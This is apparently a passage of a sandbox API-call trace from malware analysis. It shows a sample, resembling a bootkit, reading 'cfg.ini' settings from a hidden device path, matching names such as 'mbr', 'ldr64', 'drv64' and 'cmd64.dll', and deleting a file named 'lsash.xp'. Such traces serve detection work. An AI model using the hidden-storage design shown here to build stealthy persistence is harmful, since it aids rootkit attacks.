(in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.224] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.224] KeLeaveCriticalRegion () [0125.224] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.224] KeEnterCriticalRegion () [0125.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.224] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.224] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.224] KeLeaveCriticalRegion () [0125.224] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.224] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.224] KeEnterCriticalRegion () [0125.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.224] ExFreePoolWithTag (P=0xfffffa8003bf6d10, Tag=0x0) [0125.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.225] KeLeaveCriticalRegion () [0125.225] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.225] ReleaseMutex (hMutex=0xf0) returned 1 [0125.225] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.225] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.225] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.225] KeEnterCriticalRegion () [0125.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.225] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.225] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.225] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.225] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.225] IdePortDispatch () returned 0x103 [0125.225] KeWaitForMutexObject () returned 0x0 [0125.225] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.225] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.225] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.225] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.225] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.225] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6a00 [0125.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.225] KeLeaveCriticalRegion () [0125.225] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.225] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.225] KeEnterCriticalRegion () [0125.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.225] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.226] KeLeaveCriticalRegion () [0125.226] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.226] KeEnterCriticalRegion () [0125.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.226] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.226] IdePortDispatch () returned 0x103 [0125.226] KeWaitForMutexObject () returned 0x0 [0125.226] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.226] KeLeaveCriticalRegion () [0125.226] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.226] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.226] KeEnterCriticalRegion () [0125.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.226] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf6000 [0125.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.226] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.226] IdePortDispatch () returned 0x103 [0125.226] KeWaitForMutexObject () returned 0x0 [0125.226] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.226] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.227] IdePortDispatch () returned 0x103 [0125.227] KeWaitForMutexObject () returned 0x0 [0125.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.227] KeLeaveCriticalRegion () [0125.227] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.227] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.227] KeEnterCriticalRegion () [0125.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.227] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.227] KeLeaveCriticalRegion () [0125.227] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.227] KeEnterCriticalRegion () [0125.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.227] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.227] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.227] KeLeaveCriticalRegion () [0125.227] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.227] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.228] KeEnterCriticalRegion () [0125.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.228] ExFreePoolWithTag (P=0xfffffa8003bf6a00, Tag=0x0) [0125.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.228] KeLeaveCriticalRegion () [0125.228] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.228] ReleaseMutex (hMutex=0xf0) returned 1 [0125.228] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.234] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.234] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.234] KeEnterCriticalRegion () [0125.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.234] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.234] IdePortDispatch () returned 0x103 [0125.234] KeWaitForMutexObject () returned 0x0 [0125.234] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.234] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.234] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.234] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.234] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.234] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6d10 [0125.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.234] KeLeaveCriticalRegion () [0125.234] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.234] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.234] KeEnterCriticalRegion () [0125.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.235] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.235] KeLeaveCriticalRegion () [0125.235] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.235] KeEnterCriticalRegion () [0125.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.235] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.235] IdePortDispatch () returned 0x103 [0125.235] KeWaitForMutexObject () returned 0x0 [0125.235] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.235] KeLeaveCriticalRegion () [0125.235] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.235] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.235] KeEnterCriticalRegion () [0125.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.235] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf9000 [0125.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.235] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.235] IdePortDispatch () returned 0x103 [0125.235] KeWaitForMutexObject () returned 0x0 [0125.235] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.236] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.236] IdePortDispatch () returned 0x103 [0125.236] KeWaitForMutexObject () returned 0x0 [0125.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.236] KeLeaveCriticalRegion () [0125.236] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.236] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.236] KeEnterCriticalRegion () [0125.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.236] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.236] KeLeaveCriticalRegion () [0125.236] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.236] KeEnterCriticalRegion () [0125.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.236] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.236] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.236] KeLeaveCriticalRegion () [0125.236] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.236] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.236] KeEnterCriticalRegion () [0125.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.237] ExFreePoolWithTag (P=0xfffffa8003bf6d10, Tag=0x0) [0125.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.237] KeLeaveCriticalRegion () [0125.237] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.237] ReleaseMutex (hMutex=0xf0) returned 1 [0125.237] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.237] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.237] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.237] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.237] KeEnterCriticalRegion () [0125.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.237] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.237] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.237] IdePortDispatch () returned 0x103 [0125.237] KeWaitForMutexObject () returned 0x0 [0125.237] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.237] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.237] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.237] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.237] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.237] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.237] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.237] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.237] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.237] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.237] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.237] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.237] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.237] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.237] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.237] KeLeaveCriticalRegion () [0125.237] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.237] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.237] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.238] KeEnterCriticalRegion () [0125.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.238] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.238] IdePortDispatch () returned 0x103 [0125.238] KeWaitForMutexObject () returned 0x0 [0125.238] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.238] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.238] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.238] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.238] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.238] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.238] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.238] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.238] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.238] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.238] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.238] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.238] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.238] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.238] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.238] KeLeaveCriticalRegion () [0125.238] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.238] ReleaseMutex (hMutex=0x100) returned 1 [0125.238] Sleep (dwMilliseconds=0x2bf20) [0125.244] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6dda17b0, dwHighDateTime=0x1d24fa4)) [0125.245] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.245] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.245] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.245] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.245] KeEnterCriticalRegion () [0125.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.245] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.245] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.245] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.245] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.245] IdePortDispatch () returned 0x103 [0125.246] KeWaitForMutexObject () returned 0x0 [0125.246] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.246] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.246] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.246] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.246] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.246] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6450 [0125.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.246] KeLeaveCriticalRegion () [0125.246] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.246] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.246] KeEnterCriticalRegion () [0125.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.246] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.246] KeLeaveCriticalRegion () [0125.246] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.246] KeEnterCriticalRegion () [0125.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, 